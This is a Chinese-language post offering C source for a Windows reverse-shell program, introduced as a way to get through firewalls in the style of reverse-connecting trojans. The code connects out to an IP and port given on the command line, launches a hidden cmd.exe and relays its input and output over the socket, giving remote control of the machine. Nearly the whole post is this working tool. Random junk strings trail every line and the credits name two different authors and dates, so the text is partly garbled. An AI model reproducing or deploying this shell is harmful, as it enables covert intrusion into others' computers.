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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 dQ~GE}[  
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/* ============================== Thu_`QP^  
Rebound port in Windows NT ~5h4 Gy)  
By wind,2006/7 =+b>d\7xG  
===============================*/ S>r}3,]S  
#include YtKT3u:x  
#include ]f?r@U'AS|  
7 )[2Ud8  
#pragma comment(lib,"wsock32.lib") jMCd`Q]K  
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void OutputShell(); 6 rj iZ%  
SOCKET sClient; }st~$JsV1  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; . AOc$Nt  
mtkZF{3Jx  
void main(int argc,char **argv) M$Ui=GGq  
{ ]kx<aQ^  
WSADATA stWsaData; ']fyD3N  
int nRet; S.Kcb=;"L  
SOCKADDR_IN stSaiClient,stSaiServer; 8_w6% md  
J%|;  
if(argc != 3) )/JVp>  
{ ] Ok &%-  
printf("Useage:\n\rRebound DestIP DestPort\n"); /4OQx0Xmm  
return;  B9y5NX  
} 9H;Os:"\|  
}yn%_KQ0  
WSAStartup(MAKEWORD(2,2),&stWsaData); [W{|94q  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8{!|` b'f  
H^5,];  
stSaiClient.sin_family = AF_INET; lP)n$?u  
stSaiClient.sin_port = htons(0); 5Za<]qxr  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >yLDU_P)  
5%(whSKZF  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =OtW!vx#R.  
{ `7y3C\zyQ  
printf("Bind Socket Failed!\n"); ;di .U,  
return; Ws1|idAT  
} t( V 2  
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stSaiServer.sin_family = AF_INET; H.]V-|U  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); T^vo9~N*  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); wBg?-ji3<  
{d'B._#i  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ?lgE9I]  
{ OmZZTeGg1s  
printf("Connect Error!"); iG"v  
return; .sQV0jF{  
} !`7evV:  
OutputShell(); 'YG P42#  
} K3h];F! ^  
lH`c&LL-=!  
void OutputShell() "Dk@-Ac  
{ ^Ss <<  
char szBuff[1024]; eN|zD?ba&  
SECURITY_ATTRIBUTES stSecurityAttributes; ewN|">WXQ  
OSVERSIONINFO stOsversionInfo; 3I)oqS@q'  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; I4w``""c  
STARTUPINFO stStartupInfo; %%n&z6w-  
char *szShell; Fje /;p  
PROCESS_INFORMATION stProcessInformation; '_Pb\ jK  
unsigned long lBytesRead; 4clCZ@\K^  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); J Q*~le*  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ".Q]FE@>  
stSecurityAttributes.lpSecurityDescriptor = 0; #Dgu V  
stSecurityAttributes.bInheritHandle = TRUE; 1I'}Uh*  
% q!i  
I]5){Q" S  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); IcQpb F0  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); s/~pr.>-l  
.,(x7?  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); i$3#/*Y7_L  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jqj}j2 9  
stStartupInfo.wShowWindow = SW_HIDE; }*%=C!m4R!  
stStartupInfo.hStdInput = hReadPipe; >wb*kyO7(#  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; )v+&l9D  
;,TT!vea  
GetVersionEx(&stOsversionInfo); ,K6ODtw.  
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switch(stOsversionInfo.dwPlatformId) g(s}R ?  
{ kO^  
case 1: 2,B^OZmw  
szShell = "command.com"; ~Ni-}p  
break; Ekrpg^3qp"  
default: W^ask[46R  
szShell = "cmd.exe"; o](ORS$~  
break; -V@ST9`  
} ^i WGGnGS  
bzZdj6>kX  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); X2| Z!  
Bs`='w%7  
send(sClient,szMsg,77,0); oz:J.<j24Z  
while(1) K^GvU0\  
{ iH]0 YT.E  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +JD^5J,-NJ  
if(lBytesRead) HlkjyD8  
{ &.z-itiV  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 54TWFDmGi  
send(sClient,szBuff,lBytesRead,0); F/p1?1M  
} Yu&\a?]\2  
else FU}- .Ki  
{ X,o ]tgg=  
lBytesRead=recv(sClient,szBuff,1024,0); Gb Mu;CA  
if(lBytesRead<=0) break; iK'A m.o+  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ka R55  
} p>pAU$k{O  
} B}p.fE  
6OPNP0@r  
return; yfFe%8w_vw  
}
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